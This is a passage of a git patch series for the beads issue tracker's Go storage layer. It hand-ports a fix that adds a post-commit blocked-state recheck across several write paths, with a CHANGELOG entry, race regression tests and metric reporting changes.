Idempotent for the same reason. +func (t *doltServerTx) releaseRecheckScope() { + if t.clearRecheckScope != nil { + t.clearRecheckScope() + t.clearRecheckScope = nil + } +} + // poisonConn discards the pinned session instead of returning it to the pool. // A session whose transaction may still be open must never be reused: because // go-sql-driver's ResetSession only performs a liveness check (no @@ -209,6 +242,7 @@ func (t *doltServerTx) releaseVersionScope() { func (t *doltServerTx) poisonConn() { t.releaseJournalScope() t.releaseVersionScope() + t.releaseRecheckScope() if t.conn == nil { return } From 4b49bf2e8022144436911c1fd76f97fb86d518f3 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Tue, 29 Sep 2026 03:07:09 -0700 Subject: [PATCH 229/624] fix(storage): recheck blocked state after commit on the proxied (uow) path and the remaining store routes (#6942) Extends #6719's post-commit blocked-state recheck (gastownhall/beads#6716) to every write runner #6719 left uncovered: - the proxied (uow) write path: every proxied CLI write, bd batch when proxied, and bd serve; - DoltStore.RunInTransaction. It also settles when the regular SQL commit lands and only the Dolt commit after it fails (ErrCommitIndeterminate); - the raw-transaction wisp update, close and delete writers; - both arms of RemoveDependencyWithOptions; - the domain/db recomputes that bypassed issueops. The recording shapes are shared issueops Note* helpers. A failed recheck is reported through issueops.ReportBlockedRecheckFailure (the bd.db.blocked_recheck_dropped counter plus a warning) and never returned. Regression tests fail on main and pass here: a deterministic proxied uow race in six shapes, RunInTransaction and concurrent wisp-close races, sqlmock phase tests for the indeterminate commit, and a proxied CLI fan-in test that runs concurrent `bd close` processes and then checks `bd ready`. Co-Authored-By: Claude Opus 5.5 (cherry picked from commit cda2407115fa13e9f0d781692863b3ba59b6be17) Hand-ported to hotfix/1.3.1, per the #6942 review (section 5). The code hunks are unchanged; every conflict came from main-only context: - Versioned-history scope. It does not exist on the release line. Main's context installs ScopeVersionedHistoryTransaction/clearVersionScope/ releaseVersionScope in internal/storage/dolt/dependencies.go (2 places), dolt/transaction.go (runDoltTransactionRecording), uow/dolt_sql_provider.go (BeginTx) and uow/doltserver_tx.go (struct, releaseConn, poisonConn, release helpers). Resolved by keeping the release code without those lines and adding only the blocked-recheck-scope lines. In dolt_sql_provider.go the release line keeps its journal-only comment wording, extended with the recheck-scope sentence. - Close label. On the release line, issueops/close.go records with noteBlockedRecheck(tx, "close of "+id, ...), the label from the #6719 hand port. It now calls NoteStatusChangeBlockedRecheck, which produces the same "close of " label through statusChangeRecheckLabel. - BUILD.bazel (cmd/bd, dolt, issueops, uow) and dolt/version_scope_completeness_test.go do not exist on the release line and are dropped. - CHANGELOG.md: the release CHANGELOG is kept. This entry is added verbatim before the #6716 entry from the #6719 port, and that entry's list of uncovered routes now points at this entry, as on main. No schema change. go build ./... and go vet (internal/storage, cmd/bd) are clean. Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 25 ++- .../close_fanin_proxied_integration_test.go | 84 +++++++++ .../dolt/blocked_recheck_phase_test.go | 70 +++++++ internal/storage/dolt/blocked_recheck_raw.go | 30 +++ .../storage/dolt/blocked_recheck_raw_test.go | 143 ++++++++++++++ internal/storage/dolt/dependencies.go | 10 +- .../dolt/journal_scope_completeness_test.go | 4 +- internal/storage/dolt/store.go | 34 ++-- internal/storage/dolt/transaction.go | 60 +++++- internal/storage/dolt/wisps.go | 26 ++- .../storage/domain/db/delete_repo_test.go | 6 +- internal/storage/domain/db/dependency.go | 1 + internal/storage/domain/db/issue.go | 11 +- internal/storage/domain/issue.go | 5 +- internal/storage/domain/issue_delete.go | 2 +- internal/storage/issueops/blocked_recheck.go | 83 ++++++--- .../issueops/blocked_recheck_report.go | 39 ++++ internal/storage/issueops/bulk_ops.go | 2 +- internal/storage/issueops/close.go | 2 +- internal/storage/issueops/delete.go | 4 +- internal/storage/issueops/dependencies.go | 4 +- internal/storage/issueops/update.go | 2 +- internal/storage/uow/blocked_recheck.go | 80 ++++++++ .../storage/uow/blocked_recheck_race_test.go | 174 ++++++++++++++++++ internal/storage/uow/dolt_sql_provider.go | 5 +- internal/storage/uow/doltserver_tx.go | 94 +++++++--- 26 files changed, 885 insertions(+), 115 deletions(-) create mode 100644 cmd/bd/close_fanin_proxied_integration_test.go create mode 100644 internal/storage/dolt/blocked_recheck_phase_test.go create mode 100644 internal/storage/dolt/blocked_recheck_raw.go create mode 100644 internal/storage/dolt/blocked_recheck_raw_test.go create mode 100644 internal/storage/issueops/blocked_recheck_report.go create mode 100644 internal/storage/uow/blocked_recheck.go create mode 100644 internal/storage/uow/blocked_recheck_race_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index cdf74d896..bcffc2e42 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -217,6 +217,22 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 statements it cannot parse (for example `PRAGMA`) instead of treating them as reads. +- **The #6716 fan-in stall is fixed on the proxied-server route and the + remaining store routes.** Two blockers of one dependent taken away at the + same time (parallel workers closing both, or a close racing a + `bd dep remove` or a delete of the other) could leave the dependent + `is_blocked=1` and missing from `bd ready` until `bd recompute-blocked` + ([#6716](https://github.com/gastownhall/beads/issues/6716)). The post-commit + recheck the Dolt store write transactions gained for that issue now also + runs on every write the proxied-server (uow/domain-db) route serves, which + under `--proxied-server` — the default topology — is `bd close` (single + and batch), `bd update --status`, `bd dep remove`, `bd delete`, `bd batch` + and `bd serve`; on `RunInTransaction` (`bd batch` direct, `bd cook`, + `bd mol squash`/`burn`, and SDK callers that close or update inside a + transaction); and on the wisp close, update and delete writers and the + legacy dependency removal behind `bd duplicates --merge`. Demote-to-wisp + moves a row between planes without taking a blocker away and is unchanged. + - Unblocking two blockers of one dependent at the same time — closing both, or a close racing a `bd dep remove` or a delete of the other — no longer leaves the dependent stuck as blocked and hidden from `bd ready` until @@ -224,12 +240,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 update to an inactive status, a dependency removal, a delete) and runs through a Dolt store write transaction now rechecks the dependents it recomputed once that transaction has committed - ([#6716](https://github.com/gastownhall/beads/issues/6716)). Writes that - reach the database another way still need the `bd doctor` / - `bd recompute-blocked` repair they needed before: `bd batch` (on both its - plain and its proxied transaction), `bd cook`, `bd mol squash`, - `bd mol burn`, `bd duplicates --merge`, and the wisp writes — closes, - updates, deletes and demote-to-wisp. + ([#6716](https://github.com/gastownhall/beads/issues/6716)). The + proxied-server route and the remaining store routes are covered by the + entry above. - **`bd close` now exits non-zero when any issue in a batch fails to close** ([#6648](https://github.com/gastownhall/beads/issues/6648)). A batch with one diff --git a/cmd/bd/close_fanin_proxied_integration_test.go b/cmd/bd/close_fanin_proxied_integration_test.go new file mode 100644 index 000000000..ad15ff1a7 --- /dev/null +++ b/cmd/bd/close_fanin_proxied_integration_test.go @@ -0,0 +1,84 @@ +//go:build cgo + +package main + +import ( + "bytes" + "encoding/json" + "fmt" + "os/exec" + "strings" + "sync" + "testing" + + "github.com/steveyegge/beads/internal/types" +) + +// TestProxiedServerCloseSiblingBlockersFanIn is gastownhall/beads#6716 end to +// end on the proxied CLI: the fan-in of a formula whose parallel workers +// close the two blockers of one step at the same time. Each round closes the +// blockers with two concurrent `bd close` processes and then requires the +// dependent in `bd ready`. Without the post-commit recheck on the uow path a +// round whose closes overlap leaves the dependent is_blocked=1 and missing +// from ready work. The interleaving is not pinned here (see +// TestProxiedBlockedRecheckAfterRacingUnblocks in internal/storage/uow for +// the deterministic race); this proves the settled CLI outcome. +func TestProxiedServerCloseSiblingBlockersFanIn(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) + p := newSharedProxiedProject(t, bd, "fan") + + const rounds = 6 + for round := 0; round < rounds; round++ { + a := bdProxiedCreate(t, bd, p.dir, fmt.Sprintf("round %d blocker a", round)).ID + b := bdProxiedCreate(t, bd, p.dir, fmt.Sprintf("round %d blocker b", round)).ID + c := bdProxiedCreate(t, bd, p.dir, fmt.Sprintf("round %d fan-in", round)).ID + for _, blocker := range []string{a, b} { + if out, err := bdProxiedRun(t, bd, p.dir, "dep", "add", c, blocker); err != nil { + t.Fatalf("round %d: dep add %s %s: %v\n%s", round, c, blocker, err, out) + } + } + + var wg sync.WaitGroup + errs := make([]string, 2) + for i, id := range []string{a, b} { + wg.Add(1) + go func() { + defer wg.Done() + cmd := exec.Command(bd, "close", id) + cmd.Dir = p.dir + cmd.Env = bdProxiedEnv(p.dir) + var stderr bytes.Buffer + cmd.Stderr = &stderr + if err := cmd.Run(); err != nil { + errs[i] = fmt.Sprintf("close %s: %v\n%s", id, err, stderr.String()) + } + }() + } + wg.Wait() + if joined := strings.TrimSpace(strings.Join(errs, "")); joined != "" { + t.Fatalf("round %d: %s", round, joined) + } + + out, err := bdProxiedRun(t, bd, p.dir, "ready", "--json", "--limit", "0") + if err != nil { + t.Fatalf("round %d: bd ready: %v\n%s", round, err, out) + } + start := bytes.IndexByte(out, '[') + if start < 0 { + t.Fatalf("round %d: bd ready printed no JSON array: %s", round, out) + } + var ready []types.Issue + if err := json.Unmarshal(out[start:], &ready); err != nil { + t.Fatalf("round %d: parse bd ready: %v\n%s", round, err, out) + } + found := false + for _, issue := range ready { + found = found || issue.ID == c + } + if !found { + t.Fatalf("round %d: %s has both blockers closed but is missing from bd ready", round, c) + } + } +} diff --git a/internal/storage/dolt/blocked_recheck_phase_test.go b/internal/storage/dolt/blocked_recheck_phase_test.go new file mode 100644 index 000000000..337073804 --- /dev/null +++ b/internal/storage/dolt/blocked_recheck_phase_test.go @@ -0,0 +1,70 @@ +package dolt + +import ( + "context" + "errors" + "slices" + "testing" + + sqlmock "github.com/DATA-DOG/go-sqlmock" + mysql "github.com/go-sql-driver/mysql" + + "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" +) + +// scopeAndRecordDependent scopes both of tx's SQL transactions for the +// blocked recheck, as runDoltTransactionRecording does, and records one +// dependent on each, as a close on each plane would. +func scopeAndRecordDependent(t *testing.T, tx *doltTransaction) { + t.Helper() + t.Cleanup(issueops.ScopeBlockedRecheckTransaction(tx.regularTx)) + t.Cleanup(issueops.ScopeBlockedRecheckTransaction(tx.ignoredTx)) + issueops.NoteStatusChangeBlockedRecheck(tx.regularTx, "rp-a", string(types.StatusClosed), []string{"rp-c"}, nil) + issueops.NoteStatusChangeBlockedRecheck(tx.ignoredTx, "rp-wa", string(types.StatusClosed), nil, []string{"rp-wc"}) +} + +// TestFinishDoltTransactionRecordingKeepsRecheckWhenDoltCommitFails pins the +// RunInTransaction half of #6716 where the regular SQL commit lands and the +// Dolt commit after it fails. The rows are committed, the error is +// ErrCommitIndeterminate and the write is never replayed, so the recorded +// dependents must still reach the post-commit recheck. +func TestFinishDoltTransactionRecordingKeepsRecheckWhenDoltCommitFails(t *testing.T) { + store, conn, tx, regularMock, ignoredMock := newTransactionPhaseFixture(t) + scopeAndRecordDependent(t, tx) + tx.dirty.MarkDirty("issues") + regularMock.ExpectCommit() + regularMock.ExpectQuery("SELECT COUNT\\(\\*\\) FROM dolt_status s"). + WillReturnRows(sqlmock.NewRows([]string{"count"}).AddRow(1)) + regularMock.ExpectExec("CALL DOLT_ADD\\(\\?\\)").WithArgs("issues"). + WillReturnError(errors.New("invalid connection")) + ignoredMock.ExpectRollback() + + pending, err := store.finishDoltTransactionRecording(context.Background(), conn, tx, "test: dolt commit fails") + if !errors.Is(err, ErrCommitIndeterminate) { + t.Fatalf("error = %v, want ErrCommitIndeterminate", err) + } + if !slices.Equal(pending.IssueIDs, []string{"rp-c"}) || !slices.Equal(pending.WispIDs, []string{"rp-wc"}) { + t.Fatalf("pending = %+v, want the dependents recorded on both transactions", pending) + } + requireTransactionPhaseMocks(t, regularMock, ignoredMock) +} + +// TestFinishDoltTransactionRecordingDropsRecheckWhenSQLCommitRefused is the +// other side: a regular SQL commit the server refused rolled back, so there +// is nothing committed to recheck. +func TestFinishDoltTransactionRecordingDropsRecheckWhenSQLCommitRefused(t *testing.T) { + store, conn, tx, regularMock, ignoredMock := newTransactionPhaseFixture(t) + scopeAndRecordDependent(t, tx) + regularMock.ExpectCommit().WillReturnError(&mysql.MySQLError{Number: 1213, Message: "serialization failure"}) + ignoredMock.ExpectRollback() + + pending, err := store.finishDoltTransactionRecording(context.Background(), conn, tx, "test: sql commit refused") + if err == nil || errors.Is(err, ErrCommitIndeterminate) { + t.Fatalf("error = %v, want a determinate commit failure", err) + } + if !pending.Empty() { + t.Fatalf("pending = %+v, want nothing after a refused SQL commit", pending) + } + requireTransactionPhaseMocks(t, regularMock, ignoredMock) +} diff --git a/internal/storage/dolt/blocked_recheck_raw.go b/internal/storage/dolt/blocked_recheck_raw.go new file mode 100644 index 000000000..cd9130ba9 --- /dev/null +++ b/internal/storage/dolt/blocked_recheck_raw.go @@ -0,0 +1,30 @@ +package dolt + +import ( + "context" + "database/sql" + + "github.com/steveyegge/beads/internal/storage/issueops" +) + +// settleBlockedRecheck runs the post-commit blocked-state recheck of what a +// committed write recorded (gastownhall/beads#6716) and logs a failure +// instead of returning it: the write is durable, and an error would read as +// "the write did not land" to every caller. +func (s *DoltStore) settleBlockedRecheck(ctx context.Context, pending issueops.BlockedRecheck) { + logBlockedRecheckFailure(ctx, pending, s.recheckBlockedAfterCommit(ctx, pending)) +} + +// commitSQLTxAndRecheck is commitSQLTx for a raw write transaction that was +// scoped with issueops.ScopeBlockedRecheckTransaction: once tx has committed +// it settles the dependents tx's unblocking writes recorded. The wisp writers +// and the legacy dependency removal run on raw transactions outside +// withWriteTx, so without this their writes would record into nothing and +// keep the #6716 race. +func (s *DoltStore) commitSQLTxAndRecheck(ctx context.Context, op string, tx *sql.Tx) error { + if err := s.commitSQLTx(ctx, op, tx); err != nil { + return err + } + s.settleBlockedRecheck(ctx, issueops.TakeBlockedRecheck(tx)) + return nil +} diff --git a/internal/storage/dolt/blocked_recheck_raw_test.go b/internal/storage/dolt/blocked_recheck_raw_test.go new file mode 100644 index 000000000..a7609d68f --- /dev/null +++ b/internal/storage/dolt/blocked_recheck_raw_test.go @@ -0,0 +1,143 @@ +package dolt + +import ( + "context" + "database/sql" + "fmt" + "slices" + "sync" + "testing" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" +) + +// seedBlockedDependent creates blockers a and b (wisps when wisp is set) and +// the permanent dependent c that both block. +func seedBlockedDependent(t *testing.T, ctx context.Context, store *DoltStore, a, b, c string, wisp bool) { + t.Helper() + for _, id := range []string{a, b} { + if wisp { + createWisp(t, ctx, store, id) + } else { + createPerm(t, ctx, store, id) + } + } + createPerm(t, ctx, store, c) + addDependency(t, ctx, store, c, a, types.DepBlocks) + addDependency(t, ctx, store, c, b, types.DepBlocks) + assertIsBlocked(t, ctx, store, "issues", c, true) +} + +// closeOnSeparatePool closes id and commits it on a pool of its own, with the +// ordinary in-transaction recompute. The store's own transaction may hold +// every connection its pool has, so the sibling writer cannot borrow one. +func closeOnSeparatePool(t *testing.T, ctx context.Context, store *DoltStore, id string) { + t.Helper() + db, err := sql.Open("mysql", store.connStr) + if err != nil { + t.Fatalf("open sibling pool: %v", err) + } + defer func() { _ = db.Close() }() + tx, err := db.BeginTx(ctx, nil) + if err != nil { + t.Fatalf("begin sibling tx: %v", err) + } + if _, err := issueops.CloseIssueInTx(ctx, tx, id, "done", "sibling", ""); err != nil { + _ = tx.Rollback() + t.Fatalf("sibling close of %s: %v", id, err) + } + if err := tx.Commit(); err != nil { + t.Fatalf("commit sibling close of %s: %v", id, err) + } +} + +func assertReady(t *testing.T, ctx context.Context, store *DoltStore, id string) { + t.Helper() + assertIsBlocked(t, ctx, store, "issues", id, false) + ready, err := store.GetReadyWork(ctx, types.WorkFilter{}) + if err != nil { + t.Fatalf("GetReadyWork: %v", err) + } + if !slices.ContainsFunc(ready, func(i *types.Issue) bool { return i.ID == id }) { + t.Fatalf("%s has no open blockers but is missing from ready work", id) + } +} + +// TestBlockedRecheck_RunInTransactionCommittingLast is gastownhall/beads#6716 +// on DoltStore.RunInTransaction, the storage.Transaction runner `bd batch`, +// `bd cook`, `bd mol squash`/`burn` and SDK callers (Gas City's native store +// closes and status updates) write through. The transaction closes one +// blocker while both are open, a sibling close of the other commits, and the +// transaction commits last: without a post-commit recheck the dependent stays +// blocked. +func TestBlockedRecheck_RunInTransactionCommittingLast(t *testing.T) { + cases := []struct { + name string + wisp bool + write func(ctx context.Context, tx storage.Transaction, id string) error + }{ + {"close", false, func(ctx context.Context, tx storage.Transaction, id string) error { + return tx.CloseIssue(ctx, id, "done", "tester", "") + }}, + {"update to closed", false, func(ctx context.Context, tx storage.Transaction, id string) error { + return tx.UpdateIssue(ctx, id, map[string]interface{}{"status": types.StatusClosed}, "tester") + }}, + {"wisp close", true, func(ctx context.Context, tx storage.Transaction, id string) error { + return tx.CloseIssue(ctx, id, "done", "tester", "") + }}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + store, cleanup := setupConcurrentTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + seedBlockedDependent(t, ctx, store, "rt-a", "rt-b", "rt-c", tc.wisp) + + if err := store.RunInTransaction(ctx, "close rt-b", func(tx storage.Transaction) error { + if err := tc.write(ctx, tx, "rt-b"); err != nil { + return err + } + closeOnSeparatePool(t, ctx, store, "rt-a") + return nil + }); err != nil { + t.Fatalf("RunInTransaction: %v", err) + } + + assertReady(t, ctx, store, "rt-c") + }) + } +} + +// TestBlockedRecheck_ConcurrentWispCloses races the raw-transaction wisp +// close path (closeWisp) against itself. It cannot pin the interleaving the +// way the tests above do, so it only proves the settled outcome: whichever +// close commits last, the dependent ends up ready. +func TestBlockedRecheck_ConcurrentWispCloses(t *testing.T) { + store, cleanup := setupConcurrentTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + for round := 0; round < 5; round++ { + a, b, c := fmt.Sprintf("rw-%da", round), fmt.Sprintf("rw-%db", round), fmt.Sprintf("rw-%dc", round) + seedBlockedDependent(t, ctx, store, a, b, c, true) + var wg sync.WaitGroup + errs := make([]error, 2) + for i, id := range []string{a, b} { + wg.Add(1) + go func() { + defer wg.Done() + errs[i] = store.CloseIssue(ctx, id, "done", "tester", "") + }() + } + wg.Wait() + for _, err := range errs { + if err != nil { + t.Fatalf("round %d close: %v", round, err) + } + } + assertReady(t, ctx, store, c) + } +} diff --git a/internal/storage/dolt/dependencies.go b/internal/storage/dolt/dependencies.go index b909889ea..24e33bb76 100644 --- a/internal/storage/dolt/dependencies.go +++ b/internal/storage/dolt/dependencies.go @@ -104,10 +104,12 @@ func (s *DoltStore) RemoveDependencyWithOptions(ctx context.Context, issueID, de defer func() { _ = tx.Rollback() }() clearJournalScope := s.scopeEventsJournalTransaction(tx) defer clearJournalScope() + clearRecheckScope := issueops.ScopeBlockedRecheckTransaction(tx) + defer clearRecheckScope() if _, err := issueops.RemoveDependencyInTx(ctx, tx, issueID, dependsOnID, actor, rmOpts.EmitEvent); err != nil { return err } - if err := s.commitSQLTx(ctx, "commit remove wisp dependency", tx); err != nil { + if err := s.commitSQLTxAndRecheck(ctx, "commit remove wisp dependency", tx); err != nil { return err } return nil @@ -121,6 +123,8 @@ func (s *DoltStore) RemoveDependencyWithOptions(ctx context.Context, issueID, de clearJournalScope := s.scopeEventsJournalTransaction(tx) defer clearJournalScope() + clearRecheckScope := issueops.ScopeBlockedRecheckTransaction(tx) + defer clearRecheckScope() eventWritten, err := issueops.RemoveDependencyInTx(ctx, tx, issueID, dependsOnID, actor, rmOpts.EmitEvent) if err != nil { @@ -130,6 +134,10 @@ func (s *DoltStore) RemoveDependencyWithOptions(ctx context.Context, issueID, de if err := s.commitSQLTx(ctx, "sql commit", tx); err != nil { return err } + // The removal is durable; its dependents are settled after this + // removal's own Dolt commit so the recheck's commit follows it. + pending := issueops.TakeBlockedRecheck(tx) + defer s.settleBlockedRecheck(ctx, pending) // GH#2455: Use explicit DOLT_ADD to avoid sweeping up stale config changes. // Stage events only when RemoveDependencyInTx actually recorded a // dependency_removed event (explicit verb + genuine edge removal). A diff --git a/internal/storage/dolt/journal_scope_completeness_test.go b/internal/storage/dolt/journal_scope_completeness_test.go index 491eae888..0e709acc5 100644 --- a/internal/storage/dolt/journal_scope_completeness_test.go +++ b/internal/storage/dolt/journal_scope_completeness_test.go @@ -8,7 +8,7 @@ import ( // scopeCalls are the ways a function binds journal activation to the concrete // transaction it just began: the store helper, or the issueops primitive it -// wraps (runDoltTransaction calls the latter directly). +// wraps (runDoltTransactionRecording calls the latter directly). var scopeCalls = map[string]bool{ "scopeEventsJournalTransaction": true, "ScopeEventsJournalTransaction": true, @@ -88,7 +88,7 @@ func TestEveryRawTxJournalScopeIsScopedOrExempt(t *testing.T) { for key, f := range doltFns { // In scope: a function that mints its own transaction AND hands it to a // journaling mutator IN ITS OWN BODY. A function given a tx by - // withWriteTx/runDoltTransaction inherits their scoping, and those two + // withWriteTx/runDoltTransactionRecording inherits their scoping, and those two // are checked here in their own right. // // Reachability is deliberately DIRECT rather than a call-graph fixpoint. diff --git a/internal/storage/dolt/store.go b/internal/storage/dolt/store.go index 1c5a922ff..58c182966 100644 --- a/internal/storage/dolt/store.go +++ b/internal/storage/dolt/store.go @@ -873,20 +873,19 @@ var doltTracer = otel.Tracer("github.com/steveyegge/beads/storage/dolt") // Instruments are registered against the global delegating provider at init time, // so they automatically forward to the real provider once telemetry.Init() runs. var doltMetrics struct { - retryCount metric.Int64Counter - lockWaitMs metric.Float64Histogram - circuitTrips metric.Int64Counter - circuitRejected metric.Int64Counter - serializationErrors metric.Int64Counter - writeRetries metric.Int64Counter - postTxCommitDropped metric.Int64Counter - blockedRecheckDropped metric.Int64Counter - connAcquireMs metric.Float64Histogram - poolWaitCount metric.Int64Counter - poolWaitMs metric.Float64Histogram - claimVerifyLost metric.Int64Counter - claimVerifyRecovered metric.Int64Counter - ignoredTxFreshPool metric.Int64Counter + retryCount metric.Int64Counter + lockWaitMs metric.Float64Histogram + circuitTrips metric.Int64Counter + circuitRejected metric.Int64Counter + serializationErrors metric.Int64Counter + writeRetries metric.Int64Counter + postTxCommitDropped metric.Int64Counter + connAcquireMs metric.Float64Histogram + poolWaitCount metric.Int64Counter + poolWaitMs metric.Float64Histogram + claimVerifyLost metric.Int64Counter + claimVerifyRecovered metric.Int64Counter + ignoredTxFreshPool metric.Int64Counter } func init() { @@ -919,10 +918,6 @@ func init() { metric.WithDescription("Post-tx dolt commits abandoned after retries; the data landed but no dolt commit was minted (change rides the next commit on the branch)"), metric.WithUnit("{commit}"), ) - doltMetrics.blockedRecheckDropped, _ = m.Int64Counter("bd.db.blocked_recheck_dropped", - metric.WithDescription("Post-commit blocked-state rechecks abandoned; the write landed but dependents may carry a stale is_blocked flag until `bd recompute-blocked`"), - metric.WithUnit("{recheck}"), - ) doltMetrics.connAcquireMs, _ = m.Float64Histogram("bd.db.conn_acquire_ms", metric.WithDescription("Time to acquire a pooled connection for a Dolt transaction"), metric.WithUnit("ms"), @@ -1300,8 +1295,7 @@ func logBlockedRecheckFailure(ctx context.Context, pending issueops.BlockedReche if err == nil { return } - doltMetrics.blockedRecheckDropped.Add(ctx, 1) - log.Printf("warning: %s", issueops.BlockedRecheckFailureMessage(pending, err)) + issueops.ReportBlockedRecheckFailure(ctx, pending, err) } // SetEventsJournalEnabled activates the journal for this store instance only. diff --git a/internal/storage/dolt/transaction.go b/internal/storage/dolt/transaction.go index cd8af9c7b..e5aab74db 100644 --- a/internal/storage/dolt/transaction.go +++ b/internal/storage/dolt/transaction.go @@ -156,6 +156,21 @@ func (t *doltTransaction) dirtyTableNames() []string { } func (s *DoltStore) runDoltTransaction(ctx context.Context, commitMsg string, fn func(tx storage.Transaction) error) error { + pending, err := s.runDoltTransactionRecording(ctx, commitMsg, fn) + // Settled here, after the pinned connection and any borrowed ignored-table + // connection have gone back to the pool: the recheck needs one of its own. + // pending is non-empty only when the regular SQL commit landed or may have + // landed, so this also runs when the Dolt commit after it failed + // (ErrCommitIndeterminate): those rows are committed all the same. + s.settleBlockedRecheck(ctx, pending) + return err +} + +// runDoltTransactionRecording is runDoltTransaction's transaction. Once it has +// committed it hands back the dependents the callback's unblocking writes +// recorded on either of its SQL transactions, for the post-commit +// blocked-state recheck (gastownhall/beads#6716). +func (s *DoltStore) runDoltTransactionRecording(ctx context.Context, commitMsg string, fn func(tx storage.Transaction) error) (issueops.BlockedRecheck, error) { // Pin a single connection for the entire operation: SQL transaction, // config protection, and DOLT_COMMIT must all run on the same Dolt // session. Each pool connection has an independent working set in Dolt @@ -182,18 +197,18 @@ func (s *DoltStore) runDoltTransaction(ctx context.Context, commitMsg string, fn } if err != nil { - return fmt.Errorf("failed to acquire connection: %w", err) + return issueops.BlockedRecheck{}, fmt.Errorf("failed to acquire connection: %w", err) } defer conn.Close() var currentBranch string if err := conn.QueryRowContext(ctx, "SELECT active_branch()").Scan(¤tBranch); err != nil { - return fmt.Errorf("failed to read active branch: %w", err) + return issueops.BlockedRecheck{}, fmt.Errorf("failed to read active branch: %w", err) } regularTx, err := conn.BeginTx(ctx, nil) if err != nil { - return fmt.Errorf("failed to begin regular tx: %w", err) + return issueops.BlockedRecheck{}, fmt.Errorf("failed to begin regular tx: %w", err) } // The journal counter and rows must commit in the SAME SQL transaction as @@ -220,12 +235,21 @@ func (s *DoltStore) runDoltTransaction(ctx context.Context, commitMsg string, fn ignoredCleanup, ignoredTx, err = s.beginIgnoredTxOnBranch(ctx, currentBranch) if err != nil { _ = regularTx.Rollback() - return err + return issueops.BlockedRecheck{}, err } defer ignoredCleanup() } clearJournalScope := issueops.ScopeEventsJournalTransaction(regularTx, journalEnabled) defer clearJournalScope() + // Unblocking writes record their dependents on whichever transaction they + // ran in: the regular one, or the ignored one wisps use when the journal + // does not pin both planes together. + clearRecheckScope := issueops.ScopeBlockedRecheckTransaction(regularTx) + defer clearRecheckScope() + if !journalEnabled { + clearIgnoredRecheckScope := issueops.ScopeBlockedRecheckTransaction(ignoredTx) + defer clearIgnoredRecheckScope() + } tx := &doltTransaction{regularTx: regularTx, ignoredTx: ignoredTx, store: s, journalPinned: journalEnabled} @@ -244,10 +268,34 @@ func (s *DoltStore) runDoltTransaction(ctx context.Context, commitMsg string, fn if !journalEnabled { _ = ignoredTx.Rollback() } - return err + return issueops.BlockedRecheck{}, err } - return s.finishDoltTransaction(ctx, conn, tx, commitMsg) + return s.finishDoltTransactionRecording(ctx, conn, tx, commitMsg) +} + +// finishDoltTransactionRecording is finishDoltTransaction that also hands back +// the dependents the transaction's unblocking writes recorded, on either of its +// SQL transactions, for the post-commit blocked-state recheck. +// +// They are handed back with the error when the commit is indeterminate +// (ErrCommitIndeterminate): the regular SQL commit may have landed, or did land +// and only the Dolt commit or the ignored-table commit after it failed. The +// rows are then committed without a caller being able to replay the write, so +// the recheck is the only thing that can settle their dependents; being a full +// recompute of committed state, it is harmless if the commit did not land. +// Any other failure means the regular SQL commit was refused and rolled back, +// and nothing is handed back. +func (s *DoltStore) finishDoltTransactionRecording(ctx context.Context, conn *sql.Conn, tx *doltTransaction, commitMsg string) (issueops.BlockedRecheck, error) { + err := s.finishDoltTransaction(ctx, conn, tx, commitMsg) + if err != nil && !errors.Is(err, ErrCommitIndeterminate) { + return issueops.BlockedRecheck{}, err + } + pending := issueops.TakeBlockedRecheck(tx.regularTx) + if !tx.journalPinned { + pending = pending.Merge(issueops.TakeBlockedRecheck(tx.ignoredTx)) + } + return pending, err } // finishDoltTransaction commits the regular SQL transaction, its associated diff --git a/internal/storage/dolt/wisps.go b/internal/storage/dolt/wisps.go index 36b6bee66..e8452a674 100644 --- a/internal/storage/dolt/wisps.go +++ b/internal/storage/dolt/wisps.go @@ -194,12 +194,14 @@ func (s *DoltStore) updateWisp(ctx context.Context, id string, updates map[strin clearJournalScope := s.scopeEventsJournalTransaction(tx) defer clearJournalScope() + clearRecheckScope := issueops.ScopeBlockedRecheckTransaction(tx) + defer clearRecheckScope() if _, err := issueops.UpdateIssueInTx(ctx, tx, id, updates, actor); err != nil { return err } - return s.commitSQLTx(ctx, "commit update wisp", tx) + return s.commitSQLTxAndRecheck(ctx, "commit update wisp", tx) } // updateWispChecked updates a wisp with the optional atomic preconditions of @@ -221,6 +223,8 @@ func (s *DoltStore) updateWispChecked(ctx context.Context, id string, updates ma clearJournalScope := s.scopeEventsJournalTransaction(tx) defer clearJournalScope() + clearRecheckScope := issueops.ScopeBlockedRecheckTransaction(tx) + defer clearRecheckScope() if opts.ExpectedVersion != nil { if err := issueops.CheckVersionInTx(ctx, tx, id, *opts.ExpectedVersion); err != nil { @@ -234,7 +238,7 @@ func (s *DoltStore) updateWispChecked(ctx context.Context, id string, updates ma return err } - return s.commitSQLTx(ctx, "commit update wisp", tx) + return s.commitSQLTxAndRecheck(ctx, "commit update wisp", tx) } // closeWisp closes a wisp in the wisps table. @@ -249,12 +253,14 @@ func (s *DoltStore) closeWisp(ctx context.Context, id string, reason string, act clearJournalScope := s.scopeEventsJournalTransaction(tx) defer clearJournalScope() + clearRecheckScope := issueops.ScopeBlockedRecheckTransaction(tx) + defer clearRecheckScope() if _, err := issueops.CloseIssueInTx(ctx, tx, id, reason, actor, session); err != nil { return err } - return s.commitSQLTx(ctx, "commit close wisp", tx) + return s.commitSQLTxAndRecheck(ctx, "commit close wisp", tx) } // closeWispChecked closes a wisp with the is_blocked guard, mirroring closeWisp @@ -282,13 +288,15 @@ func (s *DoltStore) closeWispChecked(ctx context.Context, id string, actor strin clearJournalScope := s.scopeEventsJournalTransaction(tx) defer clearJournalScope() + clearRecheckScope := issueops.ScopeBlockedRecheckTransaction(tx) + defer clearRecheckScope() res, err := issueops.CloseIssueCheckedInTx(ctx, tx, id, 